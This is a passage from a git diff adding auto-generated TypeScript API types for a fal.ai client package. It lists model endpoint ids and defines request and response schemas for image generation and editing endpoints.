'fal-ai/vidu/q4/image-to-video', + 'fal-ai/vidu/q4/reference-to-video': 'fal-ai/vidu/q4/reference-to-video', + 'fal-ai/vidu/reference-to-image': 'fal-ai/vidu/reference-to-image', + 'fal-ai/vidu/reference-to-video': 'fal-ai/vidu/reference-to-video', + 'fal-ai/vidu/start-end-to-video': 'fal-ai/vidu/start-end-to-video', + 'fal-ai/vidu/template-to-video': 'fal-ai/vidu/template-to-video', + 'fal-ai/void-video-inpainting': 'fal-ai/void-video-inpainting', + 'fal-ai/wan-22-vace-fun-a14b/depth': 'fal-ai/wan-22-vace-fun-a14b/depth', + 'fal-ai/wan-22-vace-fun-a14b/inpainting': + 'fal-ai/wan-22-vace-fun-a14b/inpainting', + 'fal-ai/wan-22-vace-fun-a14b/outpainting': + 'fal-ai/wan-22-vace-fun-a14b/outpainting', + 'fal-ai/wan-22-vace-fun-a14b/reframe': 'fal-ai/wan-22-vace-fun-a14b/reframe', + 'fal-ai/wan-25-preview/image-to-image': + 'fal-ai/wan-25-preview/image-to-image', + 'fal-ai/wan-25-preview/image-to-video': + 'fal-ai/wan-25-preview/image-to-video', + 'fal-ai/wan-25-preview/text-to-image': 'fal-ai/wan-25-preview/text-to-image', + 'fal-ai/wan-25-preview/text-to-video': 'fal-ai/wan-25-preview/text-to-video', + 'fal-ai/wan-i2v': 'fal-ai/wan-i2v', + 'fal-ai/wan-i2v-lora': 'fal-ai/wan-i2v-lora', + 'fal-ai/wan-pro/image-to-video': 'fal-ai/wan-pro/image-to-video', + 'fal-ai/wan-pro/text-to-video': 'fal-ai/wan-pro/text-to-video', + 'fal-ai/wan-t2v-lora': 'fal-ai/wan-t2v-lora', + 'fal-ai/wan-vace-14b': 'fal-ai/wan-vace-14b', + 'fal-ai/wan-vace-14b/depth': 'fal-ai/wan-vace-14b/depth', + 'fal-ai/wan-vace-14b/inpainting': 'fal-ai/wan-vace-14b/inpainting', + 'fal-ai/wan-vace-14b/outpainting': 'fal-ai/wan-vace-14b/outpainting', + 'fal-ai/wan-vace-14b/pose': 'fal-ai/wan-vace-14b/pose', + 'fal-ai/wan-vace-14b/reframe': 'fal-ai/wan-vace-14b/reframe', + 'fal-ai/wan-vace-apps/long-reframe': 'fal-ai/wan-vace-apps/long-reframe', + 'fal-ai/wan-vace-apps/video-edit': 'fal-ai/wan-vace-apps/video-edit', + 'fal-ai/wan/v2.2-14b/animate/move': 'fal-ai/wan/v2.2-14b/animate/move', + 'fal-ai/wan/v2.2-14b/animate/replace': 'fal-ai/wan/v2.2-14b/animate/replace', + 'fal-ai/wan/v2.2-14b/speech-to-video': 'fal-ai/wan/v2.2-14b/speech-to-video', + 'fal-ai/wan/v2.2-5b/image-to-video': 'fal-ai/wan/v2.2-5b/image-to-video', + 'fal-ai/wan/v2.2-5b/text-to-image': 'fal-ai/wan/v2.2-5b/text-to-image', + 'fal-ai/wan/v2.2-5b/text-to-video': 'fal-ai/wan/v2.2-5b/text-to-video', + 'fal-ai/wan/v2.2-5b/text-to-video/distill': + 'fal-ai/wan/v2.2-5b/text-to-video/distill', + 'fal-ai/wan/v2.2-5b/text-to-video/fast-wan': + 'fal-ai/wan/v2.2-5b/text-to-video/fast-wan', + 'fal-ai/wan/v2.2-a14b/image-to-image': 'fal-ai/wan/v2.2-a14b/image-to-image', + 'fal-ai/wan/v2.2-a14b/image-to-video': 'fal-ai/wan/v2.2-a14b/image-to-video', + 'fal-ai/wan/v2.2-a14b/image-to-video/lora': + 'fal-ai/wan/v2.2-a14b/image-to-video/lora', + 'fal-ai/wan/v2.2-a14b/image-to-video/turbo': + 'fal-ai/wan/v2.2-a14b/image-to-video/turbo', + 'fal-ai/wan/v2.2-a14b/text-to-image': 'fal-ai/wan/v2.2-a14b/text-to-image', + 'fal-ai/wan/v2.2-a14b/text-to-image/lora': + 'fal-ai/wan/v2.2-a14b/text-to-image/lora', + 'fal-ai/wan/v2.2-a14b/text-to-video': 'fal-ai/wan/v2.2-a14b/text-to-video', + 'fal-ai/wan/v2.2-a14b/text-to-video/lora': + 'fal-ai/wan/v2.2-a14b/text-to-video/lora', + 'fal-ai/wan/v2.2-a14b/text-to-video/turbo': + 'fal-ai/wan/v2.2-a14b/text-to-video/turbo', + 'fal-ai/wan/v2.2-a14b/video-to-video': 'fal-ai/wan/v2.2-a14b/video-to-video', + 'fal-ai/wan/v2.7/edit': 'fal-ai/wan/v2.7/edit', + 'fal-ai/wan/v2.7/edit-video': 'fal-ai/wan/v2.7/edit-video', + 'fal-ai/wan/v2.7/image-to-video': 'fal-ai/wan/v2.7/image-to-video', + 'fal-ai/wan/v2.7/pro/edit': 'fal-ai/wan/v2.7/pro/edit', + 'fal-ai/wan/v2.7/pro/text-to-image': 'fal-ai/wan/v2.7/pro/text-to-image', + 'fal-ai/wan/v2.7/reference-to-video': 'fal-ai/wan/v2.7/reference-to-video', + 'fal-ai/wan/v2.7/text-to-image': 'fal-ai/wan/v2.7/text-to-image', + 'fal-ai/wan/v2.7/text-to-video': 'fal-ai/wan/v2.7/text-to-video', + 'fal-ai/wizper': 'fal-ai/wizper', + 'fal-ai/workflow-utilities/audio-compressor': + 'fal-ai/workflow-utilities/audio-compressor', + 'fal-ai/workflow-utilities/auto-subtitle': + 'fal-ai/workflow-utilities/auto-subtitle', + 'fal-ai/workflow-utilities/blend-video': + 'fal-ai/workflow-utilities/blend-video', + 'fal-ai/workflow-utilities/extract-nth-frame': + 'fal-ai/workflow-utilities/extract-nth-frame', + 'fal-ai/workflow-utilities/impulse-response': + 'fal-ai/workflow-utilities/impulse-response', + 'fal-ai/workflow-utilities/reverse-video': + 'fal-ai/workflow-utilities/reverse-video', + 'fal-ai/workflow-utilities/scale-video': + 'fal-ai/workflow-utilities/scale-video', + 'fal-ai/workflow-utilities/trim-video': + 'fal-ai/workflow-utilities/trim-video', + 'fal-ai/z-image/base': 'fal-ai/z-image/base', + 'fal-ai/z-image/base/lora': 'fal-ai/z-image/base/lora', + 'fal-ai/z-image/turbo': 'fal-ai/z-image/turbo', + 'fal-ai/z-image/turbo/controlnet': 'fal-ai/z-image/turbo/controlnet', + 'fal-ai/z-image/turbo/controlnet/lora': + 'fal-ai/z-image/turbo/controlnet/lora', + 'fal-ai/z-image/turbo/image-to-image': 'fal-ai/z-image/turbo/image-to-image', + 'fal-ai/z-image/turbo/image-to-image/lora': + 'fal-ai/z-image/turbo/image-to-image/lora', + 'fal-ai/z-image/turbo/inpaint': 'fal-ai/z-image/turbo/inpaint', + 'fal-ai/z-image/turbo/inpaint/lora': 'fal-ai/z-image/turbo/inpaint/lora', + 'fal-ai/z-image/turbo/lora': 'fal-ai/z-image/turbo/lora', + 'fal-ai/z-image/turbo/tiling': 'fal-ai/z-image/turbo/tiling', + 'fal-ai/z-image/turbo/tiling/lora': 'fal-ai/z-image/turbo/tiling/lora', + 'fal-ai/zonos': 'fal-ai/zonos', + 'fal-ai/zonos2': 'fal-ai/zonos2', + 'google/gemini-3.8-flash-lite-tts': 'google/gemini-3.8-flash-lite-tts', + 'google/gemini-3.8-flash-tts': 'google/gemini-3.8-flash-tts', + 'google/gemini-omni-flash': 'google/gemini-omni-flash', + 'google/gemini-omni-flash/edit': 'google/gemini-omni-flash/edit', + 'google/gemini-omni-flash/image-to-video': + 'google/gemini-omni-flash/image-to-video', + 'google/gemini-omni-flash/reference-to-video': + 'google/gemini-omni-flash/reference-to-video', + 'google/gemini-omni-flash/v1.1/edit': 'google/gemini-omni-flash/v1.1/edit', + 'google/gemini-omni-flash/v1.1/image-to-video': + 'google/gemini-omni-flash/v1.1/image-to-video', + 'google/gemini-omni-flash/v1.1/reference-to-video': + 'google/gemini-omni-flash/v1.1/reference-to-video', + 'google/gemini-omni-flash/v1.1/text-to-video': + 'google/gemini-omni-flash/v1.1/text-to-video', + 'google/gemini-omni-flash/v1.2/edit': 'google/gemini-omni-flash/v1.2/edit', + 'google/gemini-omni-flash/v1.2/extend': + 'google/gemini-omni-flash/v1.2/extend', + 'google/gemini-omni-flash/v1.2/image-to-video': + 'google/gemini-omni-flash/v1.2/image-to-video', + 'google/gemini-omni-flash/v1.2/reference-to-video': + 'google/gemini-omni-flash/v1.2/reference-to-video', + 'google/gemini-omni-flash/v1.2/text-to-video': + 'google/gemini-omni-flash/v1.2/text-to-video', + 'google/gemini-omni-flash/v1.2/upscale': + 'google/gemini-omni-flash/v1.2/upscale', + 'google/lyria-3.5': 'google/lyria-3.5', + 'google/nano-banana-2-lite': 'google/nano-banana-2-lite', + 'google/nano-banana-2.1': 'google/nano-banana-2.1', + 'google/nano-banana-2.1/edit': 'google/nano-banana-2.1/edit', + 'google/nano-banana-lite': 'google/nano-banana-lite', + 'google/nano-banana-lite/edit': 'google/nano-banana-lite/edit', + 'google/virtual-try-on': 'google/virtual-try-on', + 'heygen/heygen-video/image-to-video': 'heygen/heygen-video/image-to-video', + 'heygen/heygen-video/reference-to-video': + 'heygen/heygen-video/reference-to-video', + 'heygen/heygen-video/text-to-video': 'heygen/heygen-video/text-to-video', + 'heygen/heygen-voice': 'heygen/heygen-voice', + 'heygen/heygen-voice/turbo': 'heygen/heygen-voice/turbo', + 'hitem3d/hi3d/image-to-relief': 'hitem3d/hi3d/image-to-relief', + 'ideogram/v4': 'ideogram/v4', + 'ideogram/v4.5': 'ideogram/v4.5', + 'ideogram/v4.5/edit': 'ideogram/v4.5/edit', + 'ideogram/v4/fast': 'ideogram/v4/fast', + 'ideogram/v4/image-to-image': 'ideogram/v4/image-to-image', + 'ideogram/v4/image-to-image/lora': 'ideogram/v4/image-to-image/lora', + 'ideogram/v4/instant': 'ideogram/v4/instant', + 'ideogram/v4/lora': 'ideogram/v4/lora', + 'ideogram/v4/tiling': 'ideogram/v4/tiling', + 'ideogram/v4/tiling/lora': 'ideogram/v4/tiling/lora', + 'ideogram/vector/image-to-vector': 'ideogram/vector/image-to-vector', + 'ideogram/vector/text-to-vector': 'ideogram/vector/text-to-vector', + 'kling/v4/flash/image-to-video': 'kling/v4/flash/image-to-video', + 'kling/v4/flash/reference-to-video': 'kling/v4/flash/reference-to-video', + 'kling/v4/flash/text-to-video': 'kling/v4/flash/text-to-video', + 'kling/v4/flash/video-to-video': 'kling/v4/flash/video-to-video', + 'kling/v4/image-to-video': 'kling/v4/image-to-video', + 'kling/v4/reference-to-video': 'kling/v4/reference-to-video', + 'kling/v4/text-to-video': 'kling/v4/text-to-video', + 'kling/v4/video-to-video/edit': 'kling/v4/video-to-video/edit', + 'kotoba-technologies/kotoba-stt/v1/speech-to-text': + 'kotoba-technologies/kotoba-stt/v1/speech-to-text', + 'krea/v2/large/text-to-image': 'krea/v2/large/text-to-image', + 'krea/v2/medium/text-to-image': 'krea/v2/medium/text-to-image', + 'krea/v2/medium/turbo/text-to-image': 'krea/v2/medium/turbo/text-to-image', + 'krea/v3/edit': 'krea/v3/edit', + 'krea/v3/realtime': 'krea/v3/realtime', + 'krea/v3/text-to-image': 'krea/v3/text-to-image', + 'lightricks/ltx-2.5/audio-to-video/fast': + 'lightricks/ltx-2.5/audio-to-video/fast', + 'lightricks/ltx-2.5/audio-to-video/pro': + 'lightricks/ltx-2.5/audio-to-video/pro', + 'lightricks/ltx-2.5/image-to-video/fast': + 'lightricks/ltx-2.5/image-to-video/fast', + 'lightricks/ltx-2.5/image-to-video/pro': + 'lightricks/ltx-2.5/image-to-video/pro', + 'lightricks/ltx-2.5/text-to-video/fast': + 'lightricks/ltx-2.5/text-to-video/fast', + 'lightricks/ltx-2.5/text-to-video/pro': + 'lightricks/ltx-2.5/text-to-video/pro', + 'luma/agent/ray/v3.2/image-to-video': 'luma/agent/ray/v3.2/image-to-video', + 'luma/agent/ray/v3.2/reframe': 'luma/agent/ray/v3.2/reframe', + 'luma/agent/ray/v3.2/text-to-video': 'luma/agent/ray/v3.2/text-to-video', + 'luma/agent/ray/v3.2/video-to-video': 'luma/agent/ray/v3.2/video-to-video', + 'luma/agent/uni-1/v1/edit': 'luma/agent/uni-1/v1/edit', + 'luma/agent/uni-1/v1/max': 'luma/agent/uni-1/v1/max', + 'luma/agent/uni-1/v1/max/edit': 'luma/agent/uni-1/v1/max/edit', + 'luma/agent/uni-1/v1/text-to-image': 'luma/agent/uni-1/v1/text-to-image', + 'meta/muse-image/edit': 'meta/muse-image/edit', + 'meta/muse-image/text-to-image': 'meta/muse-image/text-to-image', + 'microsoft/mai-image-2.5': 'microsoft/mai-image-2.5', + 'microsoft/mai-image-2.5-pro': 'microsoft/mai-image-2.5-pro', + 'microsoft/mai-image-2.5-pro/edit': 'microsoft/mai-image-2.5-pro/edit', + 'microsoft/mai-image-2.5/edit': 'microsoft/mai-image-2.5/edit', + 'minimax/h3-max-turbo/extend-video': 'minimax/h3-max-turbo/extend-video', + 'minimax/h3-max-turbo/image-to-video': 'minimax/h3-max-turbo/image-to-video', + 'minimax/h3-max-turbo/reference-to-video': + 'minimax/h3-max-turbo/reference-to-video', + 'minimax/h3-max-turbo/text-to-video': 'minimax/h3-max-turbo/text-to-video', + 'minimax/h3-max/3d-to-video': 'minimax/h3-max/3d-to-video', + 'minimax/h3-max/camera-controls': 'minimax/h3-max/camera-controls', + 'minimax/h3-max/director': 'minimax/h3-max/director', + 'minimax/h3-max/extend-video': 'minimax/h3-max/extend-video', + 'minimax/h3-max/image-to-video': 'minimax/h3-max/image-to-video', + 'minimax/h3-max/insert-video': 'minimax/h3-max/insert-video', + 'minimax/h3-max/lip-sync/image-to-video': + 'minimax/h3-max/lip-sync/image-to-video', + 'minimax/h3-max/recast': 'minimax/h3-max/recast', + 'minimax/h3-max/reference-to-video': 'minimax/h3-max/reference-to-video', + 'minimax/h3-max/reframe-video': 'minimax/h3-max/reframe-video', + 'minimax/h3-max/relight': 'minimax/h3-max/relight', + 'minimax/h3-max/styles/16bit-pixel': 'minimax/h3-max/styles/16bit-pixel', + 'minimax/h3-max/styles/hand-drawn': 'minimax/h3-max/styles/hand-drawn', + 'minimax/h3-max/styles/low-poly': 'minimax/h3-max/styles/low-poly', + 'minimax/h3-max/styles/retro-toon-70s': + 'minimax/h3-max/styles/retro-toon-70s', + 'minimax/h3-max/styles/vhs': 'minimax/h3-max/styles/vhs', + 'minimax/h3-max/text-to-video': 'minimax/h3-max/text-to-video', + 'minimax/h3/image-to-video': 'minimax/h3/image-to-video', + 'minimax/h3/image-to-video/lora': 'minimax/h3/image-to-video/lora', + 'minimax/h3/reference-to-video': 'minimax/h3/reference-to-video', + 'minimax/h3/reference-to-video/lora': 'minimax/h3/reference-to-video/lora', + 'minimax/h3/text-to-video': 'minimax/h3/text-to-video', + 'minimax/h3/text-to-video/lora': 'minimax/h3/text-to-video/lora', + 'minimax/music-3': 'minimax/music-3', + 'mirelo-ai/sfx2.0/text-to-audio': 'mirelo-ai/sfx2.0/text-to-audio', + 'mirelo-ai/sfx2.0/video-to-audio': 'mirelo-ai/sfx2.0/video-to-audio', + 'mirelo-ai/sfx2.0/video-to-video': 'mirelo-ai/sfx2.0/video-to-video', + 'moonvalley/marey/i2v': 'moonvalley/marey/i2v', + 'moonvalley/marey/motion-transfer': 'moonvalley/marey/motion-transfer', + 'moonvalley/marey/pose-transfer': 'moonvalley/marey/pose-transfer', + 'moonvalley/marey/t2v': 'moonvalley/marey/t2v', + 'mureka/api/generate/lyrics': 'mureka/api/generate/lyrics', + 'mureka/api/generate/lyrics-video': 'mureka/api/generate/lyrics-video', + 'mureka/api/generate/podcast': 'mureka/api/generate/podcast', + 'mureka/api/generate/speech': 'mureka/api/generate/speech', + 'mureka/api/lyrics/extend': 'mureka/api/lyrics/extend', + 'mureka/api/song/describe': 'mureka/api/song/describe', + 'mureka/api/song/edit': 'mureka/api/song/edit', + 'mureka/api/song/recognize': 'mureka/api/song/recognize', + 'mureka/api/song/stem': 'mureka/api/song/stem', + 'mureka/api/song/transcribe': 'mureka/api/song/transcribe', + 'mureka/api/voice/clone': 'mureka/api/voice/clone', + 'mureka/v8/generate/instrumental': 'mureka/v8/generate/instrumental', + 'mureka/v8/generate/song': 'mureka/v8/generate/song', + 'mureka/v8/generate/soundtrack': 'mureka/v8/generate/soundtrack', + 'mureka/v8/generate/track': 'mureka/v8/generate/track', + 'mureka/v8/song/extend': 'mureka/v8/song/extend', + 'mureka/v8/song/remix': 'mureka/v8/song/remix', + 'mureka/v9.5/generate/instrumental': 'mureka/v9.5/generate/instrumental', + 'mureka/v9.5/generate/song': 'mureka/v9.5/generate/song', + 'mureka/v9.5/generate/soundtrack': 'mureka/v9.5/generate/soundtrack', + 'mureka/v9.5/song/remix': 'mureka/v9.5/song/remix', + 'mureka/v9/generate/instrumental': 'mureka/v9/generate/instrumental', + 'mureka/v9/generate/song': 'mureka/v9/generate/song', + 'mureka/v9/generate/soundtrack': 'mureka/v9/generate/soundtrack', + 'nvidia/cosmos-3-super/image-to-video': + 'nvidia/cosmos-3-super/image-to-video', + 'nvidia/cosmos-3-super/text-to-image': 'nvidia/cosmos-3-super/text-to-image', + 'nvidia/nemotron-3-5-super/text': 'nvidia/nemotron-3-5-super/text', + 'nvidia/nemotron-3-5-super/video': 'nvidia/nemotron-3-5-super/video', + 'nvidia/nemotron-3-5-super/vision': 'nvidia/nemotron-3-5-super/vision', + 'nvidia/nemotron-3-nano-omni': 'nvidia/nemotron-3-nano-omni', + 'nvidia/nemotron-3-nano-omni/audio': 'nvidia/nemotron-3-nano-omni/audio', + 'nvidia/nemotron-3-nano-omni/video': 'nvidia/nemotron-3-nano-omni/video', + 'nvidia/nemotron-3-nano-omni/vision': 'nvidia/nemotron-3-nano-omni/vision', + 'nvidia/nemotron-asr-multilingual/asr': + 'nvidia/nemotron-asr-multilingual/asr', + 'openai/gpt-image-2': 'openai/gpt-image-2', + 'openai/gpt-image-2.5/flare/edit': 'openai/gpt-image-2.5/flare/edit', + 'openai/gpt-image-2.5/flare/text-to-image': + 'openai/gpt-image-2.5/flare/text-to-image', + 'openai/gpt-image-2.5/sunburst/edit': 'openai/gpt-image-2.5/sunburst/edit', + 'openai/gpt-image-2.5/sunburst/text-to-image': + 'openai/gpt-image-2.5/sunburst/text-to-image', + 'openai/gpt-image-2.6/flare/edit': 'openai/gpt-image-2.6/flare/edit', + 'openai/gpt-image-2.6/flare/text-to-image': + 'openai/gpt-image-2.6/flare/text-to-image', + 'openai/gpt-image-2.6/sunburst/edit': 'openai/gpt-image-2.6/sunburst/edit', + 'openai/gpt-image-2.6/sunburst/text-to-image': + 'openai/gpt-image-2.6/sunburst/text-to-image', + 'openai/gpt-image-2/edit': 'openai/gpt-image-2/edit', + 'openrouter/router': 'openrouter/router', + 'openrouter/router/decisions': 'openrouter/router/decisions', + 'openrouter/router/enterprise': 'openrouter/router/enterprise', + 'openrouter/router/openai/v1/chat/completions': + 'openrouter/router/openai/v1/chat/completions', + 'openrouter/router/openai/v1/embeddings': + 'openrouter/router/openai/v1/embeddings', + 'openrouter/router/openai/v1/responses': + 'openrouter/router/openai/v1/responses', + 'openrouter/router/video': 'openrouter/router/video', + 'openrouter/router/video/enterprise': 'openrouter/router/video/enterprise', + 'pixelcut/background-removal': 'pixelcut/background-removal', + 'pixelcut/looping-video': 'pixelcut/looping-video', + 'pixelcut/product-photo': 'pixelcut/product-photo', + 'pixelcut/video-background-removal': 'pixelcut/video-background-removal', + 'pixverse/music-video/vibemv': 'pixverse/music-video/vibemv', + 'recraft/v4.1/flash/text-to-image': 'recraft/v4.1/flash/text-to-image', + 'recraft/v4/style/pro/text-to-image': 'recraft/v4/style/pro/text-to-image', + 'recraft/v4/style/pro/text-to-vector': 'recraft/v4/style/pro/text-to-vector', + 'recraft/v4/style/text-to-image': 'recraft/v4/style/text-to-image', + 'recraft/v4/style/text-to-vector': 'recraft/v4/style/text-to-vector', + 'resemble-ai/chatterboxhd/speech-to-speech': + 'resemble-ai/chatterboxhd/speech-to-speech', + 'resemble-ai/chatterboxhd/text-to-speech': + 'resemble-ai/chatterboxhd/text-to-speech', + 'rundiffusion-fal/juggernaut-flux/base': + 'rundiffusion-fal/juggernaut-flux/base', + 'rundiffusion-fal/juggernaut-flux/base/image-to-image': + 'rundiffusion-fal/juggernaut-flux/base/image-to-image', + 'rundiffusion-fal/juggernaut-flux/lightning': + 'rundiffusion-fal/juggernaut-flux/lightning', + 'rundiffusion-fal/juggernaut-flux/pro': + 'rundiffusion-fal/juggernaut-flux/pro', + 'rundiffusion-fal/juggernaut-flux/pro/image-to-image': + 'rundiffusion-fal/juggernaut-flux/pro/image-to-image', + 'rundiffusion-fal/rundiffusion-photo-flux': + 'rundiffusion-fal/rundiffusion-photo-flux', + 'smoretalk-ai/rembg-enhance': 'smoretalk-ai/rembg-enhance', + 'sonilo/v1.1/text-to-music': 'sonilo/v1.1/text-to-music', + 'sonilo/v1.1/text-to-sound-effects': 'sonilo/v1.1/text-to-sound-effects', + 'sonilo/v1.1/video-to-music': 'sonilo/v1.1/video-to-music', + 'sonilo/v1.1/video-to-sound-effects': 'sonilo/v1.1/video-to-sound-effects', + 'sonilo/v1.1/video-to-video-music': 'sonilo/v1.1/video-to-video-music', + 'sonilo/v1.1/video-to-video-sound-effects': + 'sonilo/v1.1/video-to-video-sound-effects', + 'tbc/mischief-1/image-to-video': 'tbc/mischief-1/image-to-video', + 'topaz/adjust/image': 'topaz/adjust/image', + 'topaz/deblur/video': 'topaz/deblur/video', + 'topaz/denoise/image': 'topaz/denoise/image', + 'topaz/denoise/video': 'topaz/denoise/video', + 'topaz/interpolate/video': 'topaz/interpolate/video', + 'topaz/restore/image': 'topaz/restore/image', + 'topaz/sdr-to-hdr/video': 'topaz/sdr-to-hdr/video', + 'topaz/sharpen/image': 'topaz/sharpen/image', + 'topaz/upscale/image/creative': 'topaz/upscale/image/creative', + 'topaz/upscale/image/generative': 'topaz/upscale/image/generative', + 'topaz/upscale/image/precision': 'topaz/upscale/image/precision', + 'topaz/upscale/image/transparent': 'topaz/upscale/image/transparent', + 'topaz/upscale/video/creative': 'topaz/upscale/video/creative', + 'topaz/upscale/video/generative': 'topaz/upscale/video/generative', + 'topaz/upscale/video/precision': 'topaz/upscale/video/precision', + 'vast/eden-live-14b-video': 'vast/eden-live-14b-video', + 'vast/eden-live-5b-video': 'vast/eden-live-5b-video', + 'veed/avatars/audio-to-video': 'veed/avatars/audio-to-video', + 'veed/avatars/text-to-video': 'veed/avatars/text-to-video', + 'veed/clean-audio': 'veed/clean-audio', + 'veed/dubbing': 'veed/dubbing', + 'veed/dubbing/pro': 'veed/dubbing/pro', + 'veed/fabric-1.0': 'veed/fabric-1.0', + 'veed/fabric-1.0/fast': 'veed/fabric-1.0/fast', + 'veed/fabric-1.0/text': 'veed/fabric-1.0/text', + 'veed/lipsync': 'veed/lipsync', + 'veed/lipsync/v2': 'veed/lipsync/v2', + 'veed/subtitles': 'veed/subtitles', + 'veed/video-background-removal': 'veed/video-background-removal', + 'veed/video-background-removal/fast': 'veed/video-background-removal/fast', + 'veed/video-background-removal/green-screen': + 'veed/video-background-removal/green-screen', + 'wan/v2.6/image-to-image': 'wan/v2.6/image-to-image', + 'wan/v2.6/image-to-video': 'wan/v2.6/image-to-video', + 'wan/v2.6/image-to-video/flash': 'wan/v2.6/image-to-video/flash', + 'wan/v2.6/reference-to-video': 'wan/v2.6/reference-to-video', + 'wan/v2.6/reference-to-video/flash': 'wan/v2.6/reference-to-video/flash', + 'wan/v2.6/text-to-image': 'wan/v2.6/text-to-image', + 'wan/v2.6/text-to-video': 'wan/v2.6/text-to-video', + 'xai/grok-imagine-image': 'xai/grok-imagine-image', + 'xai/grok-imagine-image/edit': 'xai/grok-imagine-image/edit', + 'xai/grok-imagine-image/quality/edit': 'xai/grok-imagine-image/quality/edit', + 'xai/grok-imagine-image/quality/text-to-image': + 'xai/grok-imagine-image/quality/text-to-image', + 'xai/grok-imagine-image/v2.0/edit': 'xai/grok-imagine-image/v2.0/edit', + 'xai/grok-imagine-image/v2.0/text-to-image': + 'xai/grok-imagine-image/v2.0/text-to-image', + 'xai/grok-imagine-video/edit-video': 'xai/grok-imagine-video/edit-video', + 'xai/grok-imagine-video/extend-video': 'xai/grok-imagine-video/extend-video', + 'xai/grok-imagine-video/image-to-video': + 'xai/grok-imagine-video/image-to-video', + 'xai/grok-imagine-video/reference-to-video': + 'xai/grok-imagine-video/reference-to-video', + 'xai/grok-imagine-video/text-to-video': + 'xai/grok-imagine-video/text-to-video', + 'xai/grok-imagine-video/v1.5/image-to-video': + 'xai/grok-imagine-video/v1.5/image-to-video', + 'xai/grok-imagine-video/v1.5/lite/image-to-video': + 'xai/grok-imagine-video/v1.5/lite/image-to-video', + 'xai/grok-imagine-video/v1.5/lite/text-to-video': + 'xai/grok-imagine-video/v1.5/lite/text-to-video', + 'xai/grok-imagine-video/v1.5/reference-to-video': + 'xai/grok-imagine-video/v1.5/reference-to-video', + 'xai/grok-imagine-video/v1.5/text-to-video': + 'xai/grok-imagine-video/v1.5/text-to-video', + 'xai/grok-voice': 'xai/grok-voice', + 'xai/grok-voice/realtime': 'xai/grok-voice/realtime', + 'xai/tts/v1': 'xai/tts/v1', +} as const + +export type FalGetEndpointIdRequestsRequestIdEndpointIdKey = + (typeof falGetEndpointIdRequestsRequestIdEndpointId)[keyof typeof falGetEndpointIdRequestsRequestIdEndpointId] + +export type FalGetEndpointIdRequestsRequestIdPath = { + /** + * @description Model raw id. Slashes are path segments: fal-ai/flux/dev is https://queue.fal.run/fal-ai/flux/dev, not fal-ai%2Fflux%2Fdev. x-modelschemas-encode is raw — do not percent-encode this value. + * @type string + */ + endpoint_id: FalGetEndpointIdRequestsRequestIdEndpointIdKey + request_id: string +} + +export type FalGetEndpointIdRequestsRequestIdStatus200 = unknown + +export type FalGetEndpointIdRequestsRequestIdOptions = { + body?: never + path: FalGetEndpointIdRequestsRequestIdPath + query?: never + headers?: never +} + +export type FalGetEndpointIdRequestsRequestIdResponses = { + '200': FalGetEndpointIdRequestsRequestIdStatus200 +} + +/** + * @description Union of all possible responses + */ +export type FalGetEndpointIdRequestsRequestIdResponse = + FalGetEndpointIdRequestsRequestIdStatus200 diff --git a/packages/ai-fal/src/generated/image/types.ts b/packages/ai-fal/src/generated/image/types.ts new file mode 100644 index 0000000000..dfb94314d4 --- /dev/null +++ b/packages/ai-fal/src/generated/image/types.ts @@ -0,0 +1,98171 @@ +/** + * Generated by Kubb (https://kubb.dev/). + * Do not edit manually. + */ + +export type ImageSize = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputAlibabaQwenImage3EditImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputAlibabaQwenImage3EditImageSizeKey = + (typeof inputAlibabaQwenImage3EditImageSize)[keyof typeof inputAlibabaQwenImage3EditImageSize] + +export const inputAlibabaQwenImage3EditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputAlibabaQwenImage3EditOutputFormatEnumKey = + (typeof inputAlibabaQwenImage3EditOutputFormatEnum)[keyof typeof inputAlibabaQwenImage3EditOutputFormatEnum] + +/** + * @description Input for Qwen Image 3 image editing with reference images. + * @type object + */ +export type InputAlibabaQwenImage3Edit = { + /** + * @description Enable content moderation for input and output. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text prompt describing the desired edit. Supports Chinese and English. Max 5000 characters. + * @minLength 1 + * @maxLength 5000 + * @example Change the wolves into extremely realistic small puppies of different colors. + * @type string + */ + prompt: string + /** + * @description Enable automatic LLM prompt rewriting for better results. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The size of the generated image. If not provided, the model determines the resolution automatically. Total number of pixels must be between 512x512 and 2048x2048. + */ + image_size?: ImageSize | InputAlibabaQwenImage3EditImageSizeKey | null + /** + * @description Random seed for reproducibility (0-2147483647). + */ + seed?: number | null + /** + * @description Reference images for editing (1-3 images required). Order matters: reference as 'image 1', 'image 2', 'image 3' in prompt. Resolution: 384-2048px each dimension. Max size: 10MB each. Formats: JPEG, JPG, PNG (no alpha), WEBP. + * @example ["https://v3b.fal.media/files/b/0a8bf01f/TUehdcnBygWa1-SnEbp3K_image_123.png"] + * @type array + */ + image_urls: string[] + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 6 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputAlibabaQwenImage3EditOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Content to avoid in the generated image. Max 500 characters. + * @default + * @example low resolution, error, worst quality, low quality, deformed + */ + negative_prompt?: string | null +} + +export type File = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputAlibabaQwenImage3Edit = { + /** + * @description Generated images. + * @example [{"url":"https://v3b.fal.media/files/b/0a8bf01f/5ZVeoOz6DtJUq6-f4SIsc_WawZPkPJ.png"}] + * @type array + */ + images: File[] + /** + * @description The seed used for generation. + * @example 42 + * @type integer + */ + seed: number +} + +export const 